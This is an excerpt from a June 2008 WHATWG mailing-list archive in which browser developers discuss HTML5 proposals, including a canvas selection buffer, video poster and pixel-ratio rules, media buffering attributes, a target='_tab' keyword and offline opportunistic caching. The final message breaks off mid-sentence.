So, my suggestion is to add functionality similar to OpenGL's selection buffer:
The canvas element would keep a 2D array with an integer ID for each pixel. When turned on, these values would be set by every operation that changes the pixel, seting it to the current context's value. Pseudo-code example:

------------
function DrawCell( iCellId ){

  canvas.selectionBuffer.trackChanges( ON );
  canvas.selectionBuffer.setFillValue( iCellId );

  canvas.drawRasterImage( ..., cellImage );

  canvas.selectionBuffer.trackChanges( OFF );

}
------------

Then, upon user's mouse click on the canvas, you could determine which object was clicked:

------------
canvas.onclick = function( e ){
  id = canvas.selectionBuffer.getIdAt( e.x, e.y );
  // eventually:
  id = e.selectionBufferID;
}
------------

Such feature would allow interactive application with isometric or 3D graphic.
Is something like this planned or already suggested? I haven't found.

Regards,
Ondra Zizka


From nigel.tao.gnome at gmail.com  Sun Jun  8 04:50:11 2008
From: nigel.tao.gnome at gmail.com (Nigel Tao)
Date: Sun, 8 Jun 2008 21:50:11 +1000
Subject: [whatwg] access to local path in input type="file"
In-Reply-To: <005401c88c1e$e5f69870$6501a8c0@disxgdg31szkx7>
References: <200712110327.04645.rudd-o@rudd-o.com>
	<Pine.LNX.4.62.0712110919290.7107@hixie.dreamhostps.com>
	<005101c83bef$60584800$6501a8c0@disxgdg31szkx7>
	<008901c88ae6$3bf59300$6501a8c0@disxgdg31szkx7>
	<26b395e60803210751j204528c5gadb38cf872b0de71@mail.gmail.com>
	<005401c88c1e$e5f69870$6501a8c0@disxgdg31szkx7>
Message-ID: <9188fcea0806080450y44849b37k8a56a418026aa07b@mail.gmail.com>

On 23/03/2008, ddailey <ddailey at zoominternet.net> wrote:
>  Perhaps we need a new <img type="local-file"> to cover the use cases??? What
>  I'm ultimately interested in is not really the sort of thing one would
>  expect to use <form>s for -- neither is doing content analysis inside a
>  <textarea> however. Those just happen to be the tools that <html> provides.
>
>  I know that under discussion in HTML5 is some amount of ability to read and
>  write files locally. Would script access to local images be included in that
>  capability?

Gears has some experimental code to load local images.  Experimental
meaning that the API is still in flux, documentation is non-existant,
and it's not bundled as part of official builds yet, but if you check
out the latest version of the source code, you can play with it.

Dion Almaer has blogged about upcoming Gears APIs at
http://almaer.com/blog/category/gears


From mjs at apple.com  Sun Jun  8 19:10:32 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Sun, 8 Jun 2008 19:10:32 -0700
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
References: <4637D68D.6000300@sicking.cc>
	<Pine.LNX.4.62.0705172313280.1180@dhalsim.dreamhost.com>
	<465E0C79.7030608@sicking.cc>
	<Pine.LNX.4.64.0708070248560.9753@dhalsim.dreamhost.com>
	<46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
Message-ID: <F2B519BF-A2FD-4AA8-A8A7-3A216315BB77@apple.com>


On Jun 6, 2008, at 12:01 PM, Ian Hickson wrote:

>
> On Sat, 1 Mar 2008, Jonas Sicking wrote:
>>
>> I very much agree it's an edge case and would be fine with leaving it
>> undefined.
>
> Well, right now it's implicitly defined that changing the base changes
> anything refering to that base instantly. I'm not really sure how to
> unspecify that without adding a really weird clause like "in the event
> that the attribute is changed, user agents may, whenever convenient,
> pretend, for the sake of url resolution, that it has not changed".
>
>
> I have made notes in the spec that this is an area that needs  
> defining.
> Right now I'm leaning towards defining a "base href change  
> notification
> behaviour" for all elements that have URI attributes or are otherwise
> sensitive to base href changes, and defining that when the base href
> changes, all the elements in the document with such behaviour defined
> should have that behaviour activated (this would, in the simple  
> case, just
> be a walk over the document with a virtual method call per element; it
> might be a bit slow for some documents, but then this is a very rare
> occurance anyway). We would also invoke this behaviour on the entire
> subtree of an element whenever that element is inserted into a  
> different
> document, in case it matters in any cases.
>
> In practice I think this only actually affects :link/:visited and  
> url()
> rules in style="" attributes. I plan on making <img>/<iframe>/<link
> rel=stylesheet> etc not reload their content if the base href changes
> (though that does mean that .src and .href will end up pointing to  
> URIs
> that aren't actually what was loaded). I can't think of any other  
> cases
> that are sensitive off the top of my head, but I'll be thorough if I  
> do
> end up specifying this.
>
> The question is, are people ok with that plan?

It seems weird for src and href attributes to have a URI other than  
what the element has loaded or is loading - this would be the only  
case where they may not match. (Also, would setting href or src to  
itself in such a case trigger a load of a different resource?)

I have to admit I am not especially excited about implementing instant  
dynamic updates of everything in the document referencing a URI,  
whether it triggers a load or not, when the <base> element is changed.  
That seems like a lot of coding and testing work solely to serve a  
very unimportant edge case that right now likely no one depends on. In  
general if the spec requires significant implementation work for  
something that has no real user or author benefit, just because that  
is easier to define, then I think we have chosen poorly.

Regards,
Maciej



From simonp at opera.com  Mon Jun  9 08:19:03 2008
From: simonp at opera.com (Simon Pieters)
Date: Mon, 09 Jun 2008 17:19:03 +0200
Subject: [whatwg] print preview and onbeforeprint (was: Re: several messages)
In-Reply-To: <Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
References: <200509062037.j86Kbmil026603@recluse.mozilla.org>
	<Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
Message-ID: <op.uchl5118idj3kv@zcorpandell.linkoping.osa>

On Fri, 06 Jun 2008 02:11:45 +0200, Ian Hickson <ian at hixie.ch> wrote:

>> I'll add another case: the onafterprint event could be used in a
>> "wizard"-style application where printing some document is step 3 of 10,
>> for example.  The application could proceed to the next step (not
>> necessarily a different document) automatically without requiring a
>> button that says "click here when done printing".  That's a case that a
>> media-specific stylesheet cannot handle.  Automating tasks and reducing
>> clicks are both high priorities in my development of web applications.
>
> Good use case!

But breaks if the user does a print preview first, no? (The events fire in  
IE when doing print preview.)

-- 
Simon Pieters
Opera Software


From philipj at opera.com  Mon Jun  9 09:01:21 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Mon, 09 Jun 2008 18:01:21 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
Message-ID: <1213027282.6676.43.camel@nog.bredbandsbolaget.se>

?Hi again,

Reading
http://lists.w3.org/Archives/Public/public-html/2007Oct/0108.html it is
clear that the intention of the poster attribute is to represent a still
image from the video. This should probably be made explicit in the spec
with something in the style of:

The poster image typically represents a still frame of video. User
agents must (may?) take this into account by applying the same rules as
for rendering video (aspect ratio correction, scaling, centering). HTTP
4xx and 5xx errors (and equivalents in other protocols) must (may?)
cause the user agent to ignore the poster attribute.

This needs to be clear as there are two quite natural interpretations of
what kind of image "the user agent can show while no video data is
available". The first is an unscaled, centered "click to play" button,
while the second is a scaled, centered and aspect ratio corrected still
frame from the video.

Philip

On Tue, 2008-06-03 at 10:00 -0500, Tab Atkins Jr. wrote:
> 
> 
> On Tue, Jun 3, 2008 at 7:36 AM, Philip J?genstedt <philipj at opera.com>
> wrote:
>         Hi!
>         
>         I'm a bit puzzled about how to interpret the poster attribute
>         on
>         HTMLVideoElement:
>         
>         "The poster attribute gives the address of an image file that
>         the user
>         agent can show while no video data is available. The
>         attribute, if
>         present, must contain a URI (or IRI)."
>         
>         Is the intention that this image should be stretched to the
>         size of the
>         video element, or that it should be centered in the frame? If
>         the width
>         and height attributes are not given, should the video element
>         initially
>         be given the size of the poster image, or should the user
>         agent wait
>         until it has the dimensions of the video (thereby making the
>         poster
>         useless)?
>         
>         In short, what is the intended use of poster?
>         
>         -- Philip J?genstedt
> 
> Just for similar-implementation-ideas, flvplayer simply aligns the
> poster image to the upper-left of the object element, with no scaling
> at all.  If width and height are not given, it simply doesn't display
> at all.
> 
> 
> Unless there's already some alternate intent, I suggest <video> scale
> to the poster's size if no explicit size is given.
> 
> ~TJ
> 
> 



From jonas at sicking.cc  Mon Jun  9 20:25:36 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Mon, 09 Jun 2008 20:25:36 -0700
Subject: [whatwg] createImageData
In-Reply-To: <66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>	<4560F162.7060204@stefan-haustein.com>	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
	<66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
Message-ID: <484DF430.4090807@sicking.cc>

Vladimir Vukicevic wrote:
> 
> Sorry it took me a bit to respond here... so, ok, based on the 
> discussion, I'd suggest:
> 
> - user-created ImageData-like objects should be supported, e.g. with 
> language such as:

Do note that dealing with user-created objects isn't trivial. You have 
to be prepared for dealing with the user-created object changing the 
whole world under you during a callback, this includes things like doing 
any modification to the canvas object itself, but also things like 
script navigating away and then causing a GC to tear down the world 
around you.

This is usually not very hard to deal with, as long as you are not deep 
inside a long callstack when calling out to content. This is because you 
have to ensure that the whole callstack is ok with the world changing 
around it.

/ Jonas


From philipj at opera.com  Tue Jun 10 03:24:04 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Tue, 10 Jun 2008 12:24:04 +0200
Subject: [whatwg] HTMLMediaElement buffered/bufferedBytes
Message-ID: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>

Hi,

I'm currently implementing more of <audio> and <video> (in Opera) and
will probably have quite a lot of questions/comments during the coming
months. If this is not the best place for such discussion, please point
out where I need to be.

Today's issue:

The name of the buffered/bufferedBytes attributes imply that these
ranges are buffered on disk or in memory, so that they will not have to
be re-downloaded. However, the description reads "the ranges of the
media resource, if any, that the user agent has downloaded, at the time
the attribute is evaluated."

This is not the same things, as we will not be able to buffer large
files on memory-limited devices. Instead, we might only buffer 1 MB of
data around the current playback point, or some other scheme.

I would suggest that buffered/bufferedBytes be taken to mean exactly
what they sound like by changing the description to something like:
(differences marked *like this*)

The buffered attribute must return a static normalized TimeRanges object
that represents the ranges of the media resource, if any, that the user
agent has *buffered*, at the time the attribute is evaluated.

Note: Typically this will be a single range anchored at the zero point,
but if, e.g. the user agent uses HTTP range requests in response to
seeking, then there could be multiple ranges. *There is no guarantee
that all buffered ranges will remain buffered, due to storage/memory
constraints or other reasons.*

The intention is that only ranges which are actually internally buffered
should be exposed in the buffered/bufferedBytes ranges, whereas the
current phrasing implies that all ranges which have at some point been
downloaded/buffered should be included.

Admittedly, this makes the attributes useless for determining how much
of the resource has been downloaded, but if this is needed I might
suggest the attributes downloaded/downloadedBytes instead. The
usefulness of the buffered attribute (in my current interpretation) is
not obvious to me at all, I would appreciate some use cases if possible.

--
Philip J?genstedt
?Opera Software



From silviapfeiffer1 at gmail.com  Tue Jun 10 03:35:13 2008
From: silviapfeiffer1 at gmail.com (Silvia Pfeiffer)
Date: Tue, 10 Jun 2008 20:35:13 +1000
Subject: [whatwg] HTMLMediaElement buffered/bufferedBytes
In-Reply-To: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
References: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
Message-ID: <2c0e02830806100335o1a1a85f7n14df30d8e366d5a5@mail.gmail.com>

I think this all makes sense.
+1 from me.

Cheers,
Silvia.

On Tue, Jun 10, 2008 at 8:24 PM, Philip J?genstedt <philipj at opera.com> wrote:
> Hi,
>
> I'm currently implementing more of <audio> and <video> (in Opera) and
> will probably have quite a lot of questions/comments during the coming
> months. If this is not the best place for such discussion, please point
> out where I need to be.
>
> Today's issue:
>
> The name of the buffered/bufferedBytes attributes imply that these
> ranges are buffered on disk or in memory, so that they will not have to
> be re-downloaded. However, the description reads "the ranges of the
> media resource, if any, that the user agent has downloaded, at the time
> the attribute is evaluated."
>
> This is not the same things, as we will not be able to buffer large
> files on memory-limited devices. Instead, we might only buffer 1 MB of
> data around the current playback point, or some other scheme.
>
> I would suggest that buffered/bufferedBytes be taken to mean exactly
> what they sound like by changing the description to something like:
> (differences marked *like this*)
>
> The buffered attribute must return a static normalized TimeRanges object
> that represents the ranges of the media resource, if any, that the user
> agent has *buffered*, at the time the attribute is evaluated.
>
> Note: Typically this will be a single range anchored at the zero point,
> but if, e.g. the user agent uses HTTP range requests in response to
> seeking, then there could be multiple ranges. *There is no guarantee
> that all buffered ranges will remain buffered, due to storage/memory
> constraints or other reasons.*
>
> The intention is that only ranges which are actually internally buffered
> should be exposed in the buffered/bufferedBytes ranges, whereas the
> current phrasing implies that all ranges which have at some point been
> downloaded/buffered should be included.
>
> Admittedly, this makes the attributes useless for determining how much
> of the resource has been downloaded, but if this is needed I might
> suggest the attributes downloaded/downloadedBytes instead. The
> usefulness of the buffered attribute (in my current interpretation) is
> not obvious to me at all, I would appreciate some use cases if possible.
>
> --
> Philip J?genstedt
> ?Opera Software
>
>

From simonp at opera.com  Tue Jun 10 03:44:05 2008
From: simonp at opera.com (Simon Pieters)
Date: Tue, 10 Jun 2008 12:44:05 +0200
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>

In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that  
authors should have the ability to suggest that links open in new windows  
and new tabs. The suggested solution is to introduce a new browsing  
context keyword "_tab".

Use case for opening a new window with specified size: help popup.

Use case for opening a new window without specified size: print page.

Use case for opening a new tab: links in GReader for later reading.

Demand for this feature: http://www.google.com/search?q=_tab

-- 
Simon Pieters
Opera Software


From honzab at allpeers.com  Tue Jun 10 04:05:49 2008
From: honzab at allpeers.com (Honza Bambas)
Date: Tue, 10 Jun 2008 13:05:49 +0200
Subject: [whatwg] Opportunistic caching
Message-ID: <484E600D.6010308@allpeers.com>

Hi, I would like to ask for clarification of opportunistic caching spec 
in Offline Web Applications, the article 4.9.1.9. 

Adding a resource whom URI matches an opportunistic name space seems to
be done only for top level documents according to the article 4.9.1.9,
cite: "If the resource was not fetched from..." where the resource
refers, as I understand, the top-level document being navigated.

I didn't find any other place where a resource whom URI matched an
opportunistic entry would be added to a cache as opportunistically
cached. I would naturally expect it were part of the networking model,
article 4.7.5.1 - "Changes to the networking model", but I couldn't
find it, at least not explicitly, expressed.

Maybe I am missing something in the networking model spec: in
article 4.7.5.1.4 when URI matches a name space it have to be "fetched
normally". Should implementers replace normal HTTP cache used for
writing by offline cache to store the resource in it? Instead of normal
HTTP cache?

Thanks for advice.
Honza Bambas, a mozilla developer

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080610/b0d06555/attachment-0001.htm>

From jens at meiert.com  Tue Jun 10 04:12:17 2008
From: jens at meiert.com (Jens Meiert)
Date: Tue, 10 Jun 2008 13:12:17 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
References: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
Message-ID: <9fbcac550806100412p2599b7fle06f04f637c43448@mail.gmail.com>

> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that authors
> should have the ability to suggest that links open in new windows and new
> tabs. The suggested solution is to introduce a new browsing context keyword
> "_tab".

Wondering: How is CSS 3's Hyperlink Presentation Module [1] (and its
"target-new" property) supposed to fit in, /theoretically/ allowing us
to drop @target altogether?


[1] http://www.w3.org/TR/css3-hyperlinks/

-- 
Jens Meiert
http://meiert.com/en/


From joao.eiras at gmail.com  Tue Jun 10 05:55:53 2008
From: joao.eiras at gmail.com (=?iso-8859-15?Q?Jo=E3o_Eiras?=)
Date: Tue, 10 Jun 2008 13:55:53 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
References: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
Message-ID: <op.uci97fh9jz3wb9@mors.wag54gs>

IMO, both _blank and _tab should always open in the same window, under a  
new tab. Else that would be bad usability.
Browsers currently already support this.
So, I think it's therefore redundant.

Na , Simon Pieters <simonp at opera.com> escreveu:

> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that  
> authors should have the ability to suggest that links open in new  
> windows and new tabs. The suggested solution is to introduce a new  
> browsing context keyword "_tab".
>
> Use case for opening a new window with specified size: help popup.
>
> Use case for opening a new window without specified size: print page.
>
> Use case for opening a new tab: links in GReader for later reading.
>
> Demand for this feature: http://www.google.com/search?q=_tab
>




From lachlan.hunt at lachy.id.au  Tue Jun 10 06:54:38 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Tue, 10 Jun 2008 15:54:38 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
References: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
Message-ID: <484E879E.5030809@lachy.id.au>

Simon Pieters wrote:
> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> authors should have the ability to suggest that links open in new 
> windows and new tabs. The suggested solution is to introduce a new 
> browsing context keyword "_tab".

I don't believe it should be up to the document author to distinguish 
between a page opened up in a new window or new tab, since that is 
entirely a browser interface issue.  Since several browsers already 
treat _blank in that way anyway, introducing a new keyword doesn't seem 
particularly  useful.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From borekbe at yahoo.co.uk  Tue Jun 10 08:36:22 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 15:36:22 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <349013.53387.qm@web25905.mail.ukl.yahoo.com>

>>>> Wondering: How is CSS 3's Hyperlink Presentation Module [1] (and its "target-new" property) supposed to fit in, /theoretically/ allowing us to drop @target altogether?

That looks great (didn't know of that!), that would sort out the HTML/CSS part of game (although implementing target="_tab" would be probably easier for browser vendors than implementing CSS3).

We would still need something equivalent in JavaScript though -- but I'm not sure how that is related to WHATWG.

Borek



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From borekbe at yahoo.co.uk  Tue Jun 10 08:49:28 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 15:49:28 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <402573.64200.qm@web25901.mail.ukl.yahoo.com>

>>>> IMO, both _blank and _tab should always open in the same window, under a new tab. ... Browsers currently already support this. So, I think it's therefore redundant.

As you stated, that is your user preference and my preference can be different. You are lucky that your preference fits in current browsers' feature set, I have argued in the forum post linked before [1] that I don't think it's reasonable to expect the required level of browser customizeability any time soon.

[1] http://forums.whatwg.org/viewtopic.php?t=186

---
Borek


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From borekbe at yahoo.co.uk  Tue Jun 10 08:55:04 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 15:55:04 +0000 (GMT)
Subject: [whatwg]  Proposal: target="_tab"
Message-ID: <972603.68234.qm@web25901.mail.ukl.yahoo.com>

>>>>> I don't believe it should be up to the document author to distinguish between a page opened up in a new window or new tab, since that is entirely a browser interface issue. Since several browsers already treat _blank in that way anyway, introducing a new keyword doesn't seem particularly  useful.

I would kindly point you to the original proposal linked before (http://forums.whatwg.org/viewtopic.php?t=186) where this has been discussed in quite a great depth.

---
Borek



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From joao.eiras at gmail.com  Tue Jun 10 09:03:51 2008
From: joao.eiras at gmail.com (=?iso-8859-15?Q?Jo=E3o_Eiras?=)
Date: Tue, 10 Jun 2008 17:03:51 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <402573.64200.qm@web25901.mail.ukl.yahoo.com>
References: <402573.64200.qm@web25901.mail.ukl.yahoo.com>
Message-ID: <op.ucjiwpcejz3wb9@mors.wag54gs>

This approach however has two problems:
  - user agent that don't support _tab which would have to interpret as  
_blank, or _self, so this case need to be predicted in the spec, if any
  - that value is not backwards compatible. I'd expect for an user agent  
that does not support tabs to open a new window, but a unknwon target  
opens in the same window, so you'll probably will have to make up  
something different.


Na , Borek Bernard <borekbe at yahoo.co.uk> escreveu:

>>>>> IMO, both _blank and _tab should always open in the same window,  
>>>>> under a new tab. ... Browsers currently already support this. So, I  
>>>>> think it's therefore redundant.
>
> As you stated, that is your user preference and my preference can be  
> different. You are lucky that your preference fits in current browsers'  
> feature set, I have argued in the forum post linked before [1] that I  
> don't think it's reasonable to expect the required level of browser  
> customizeability any time soon.
>
> [1] http://forums.whatwg.org/viewtopic.php?t=186
>
> ---
> Borek
>
>
>       __________________________________________________________
> Sent from Yahoo! Mail.
> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html




From philipj at opera.com  Tue Jun 10 09:31:05 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Tue, 10 Jun 2008 18:31:05 +0200
Subject: [whatwg] Change request: rules for pixel ratio
Message-ID: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>

Hi!

http://www.w3.org/html/wg/html5/#pixelratio

The pixelratio attribute allows the author to specify the pixel ratio of
anamorphic media resources that do not self-describe their pixel ratio.
[...] The default value, if the attribute is omitted or cannot be
parsed, is 1.0.

This seems more than strange. Should this be taken to mean that the
pixelratio attribute is defaulted to 1.0 even for ?media resources that
DO NOT self-describe their pixel ratio? To be clear what we are talking
about, here are some example pixel ratios:

PAL (720x576) 4:3 DVD ?has pixel ratio 16:15 (=1.067)
?PAL (720x576) anamorphic 16:9 DVD has pixel ratio 64:45 (=1.422)
?NTSC (720x480) 4:3 DVD ?has pixel ratio 40:45 (=0.889)
NTSC (720x480) anamorphic 16:9 DVD has pixel ratio 32:27 (=1.185)

To display such video correctly, the pixel aspect ratio must be correct.
Since many formats can specify pixel ratio (including Ogg Theora) this
is trivial to do automatically, but it would be a spec violation. In my
opinion, it would make a lot more sense to let the pixel ratio default
to the media resources self-described pixel ratio, and 1.0 only as the
last resort.

Suggested change to http://www.w3.org/html/wg/html5/#pixelratio :

The default value, if the attribute is omitted or cannot be parsed,
is ?the media resource's self-described pixel ratio, or 1.0 ?for ?media
resources that do not self-describe their pixel ratio.

Suggested changes to http://www.w3.org/html/wg/html5/#pick-a

5. If candidate is not null and it has a pixelratio attribute, then let
the chosen resource's pixel ratio be result of applying the rules for
parsing floating point number values to the value of that attribute, or
1.0 if those rules return an error. Otherwise, let the chosen resource's
pixel ratio be the media resource's self-described pixel ratio, or
1.0 ?for ?media resources that do not self-describe their pixel ratio.

Just to be clear, the intended priority is:

1. pixelratio attribute
2. self-described pixel ratio
3. 1.0

Perhaps these changes are too verbose, they could be made shorter if the
meaning is still clear.

Comments?

It is also worth noting that when the pixel ratio is < 1.0 it will make
more sense for the user agent to adjust the height than the width if no
width/height attributes have been set. This could be pointed out in the
rendering section eventually.

-- 
Philip J?genstedt
Opera Software



From giles at xiph.org  Tue Jun 10 10:48:33 2008
From: giles at xiph.org (Ralph Giles)
Date: Tue, 10 Jun 2008 10:48:33 -0700
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
Message-ID: <9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>

On 10-Jun-08, at 9:31 AM, Philip J?genstedt wrote:

> The default value, if the attribute is omitted or cannot be parsed,  
> is the media resource's self-described pixel ratio, or 1.0 for  
> media resources that do not self-describe their pixel ratio.

This is actually how I read the original, but your wording resolves  
the ambiguity. Sounds like an improvement to me.

Does this mean the implementation must retrieve the self-described  
pixel aspect ratio from the stream and supply it as part of the DOM?

  -r

From lists07 at wiltgen.net  Tue Jun 10 12:16:25 2008
From: lists07 at wiltgen.net (Charles)
Date: Tue, 10 Jun 2008 12:16:25 -0700
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
Message-ID: <00c901c8cb2e$7a93a650$6fbaf2f0$@net>

> Does this mean the implementation must retrieve the self-described
> pixel aspect ratio from the stream and supply it as part of the DOM?

Offhand, I can't think of any use cases where it'd be useful to expose pixel
aspect ratio.

(Before folks chime in, note that pixel aspect ratio <> picture aspect
ratio.  A typical video encoded for PC viewing would have a pixel aspect
ratio of 1:1 and a picture aspect ratio of 4:3 or 16:9.)

-- Charles




From borekbe at yahoo.co.uk  Tue Jun 10 13:08:58 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 20:08:58 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <645479.57361.qm@web25905.mail.ukl.yahoo.com>

>From my brief testing, _tab opens a new window so it should be backwards compatible.

----- Original Message ----
From: Jo?o Eiras <joao.eiras at gmail.com>
To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
Sent: Tuesday, 10 June, 2008 6:03:51 PM
Subject: Re: [whatwg] Proposal: target="_tab"

This approach however has two problems:
  - user agent that don't support _tab which would have to interpret as  
_blank, or _self, so this case need to be predicted in the spec, if any
  - that value is not backwards compatible. I'd expect for an user agent  
that does not support tabs to open a new window, but a unknwon target  
opens in the same window, so you'll probably will have to make up  
something different.


Na , Borek Bernard <borekbe at yahoo.co.uk> escreveu:

>>>>> IMO, both _blank and _tab should always open in the same window,  
>>>>> under a new tab. ... Browsers currently already support this. So, I  
>>>>> think it's therefore redundant.
>
> As you stated, that is your user preference and my preference can be  
> different. You are lucky that your preference fits in current browsers'  
> feature set, I have argued in the forum post linked before [1] that I  
> don't think it's reasonable to expect the required level of browser  
> customizeability any time soon.
>
> [1] http://forums.whatwg.org/viewtopic.php?t=186
>
> ---
> Borek
>
>
>       __________________________________________________________
> Sent from Yahoo! Mail.
> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From adrian.sutton at ephox.com  Tue Jun 10 13:29:54 2008
From: adrian.sutton at ephox.com (Adrian Sutton)
Date: Tue, 10 Jun 2008 21:29:54 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <645479.57361.qm@web25905.mail.ukl.yahoo.com>
Message-ID: <C474A2D2.537D%adrian.sutton@ephox.com>

>> From my brief testing, _tab opens a new window so it should be backwards
>> compatible.

It's deceptively close but not quite backwards compatible. _tab will cause
the link to open in the frame called "_tab" and if it doesn't exist it
creates it, as a new window. So the first link works perfectly and opens a
new window but the second link you click will replace the first one since
there is now a frame called "_tab".

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
US: +1 (650) 292 9659 x717 UK: +44 (20) 8123 0617 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>



From ian at hixie.ch  Tue Jun 10 14:46:34 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 10 Jun 2008 21:46:34 +0000 (UTC)
Subject: [whatwg] Opportunistic caching
In-Reply-To: <484E600D.6010308@allpeers.com>
References: <484E600D.6010308@allpeers.com>
Message-ID: <Pine.LNX.4.62.0806102141080.6527@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Honza Bambas wrote:
>
> Hi, I would like to ask for clarification of opportunistic caching spec 
> in Offline Web Applications, the article 4.9.1.9. Adding a resource whom 
> URI matches an opportunistic name space seems to be done only for top 
> level documents according to the article 4.9.1.9, cite: "If the resource 
> was not fetched from..." where the resource refers, as I understand, the 
> top-level document being navigated.
> 
> I didn't find any other place where a resource whom URI matched an 
> opportunistic entry would be added to a cache as opportunistically 
> cached. I would naturally expect it were part of the networking model, 
> article 4.7.5.1 - "Changes to the networking model", but I couldn't find 
> it, at least not explicitly, expressed.
> 
> Maybe I am missing something in the networking model spec: in article 
> 4.7.5.1.4 when URI matches a name space it have to be "fetched 
> normally". Should implementers replace normal HTTP cache used for 
> writing by offline cache to store the resource in it? Instead of normal 
> HTTP cache?

Resources can only be cached as opportunistically cached entries if a 
browsing context is navigated, but it doesn't have to be a top-level 
browsing context. The caching happens in the "Otherwise" clause of step 9 
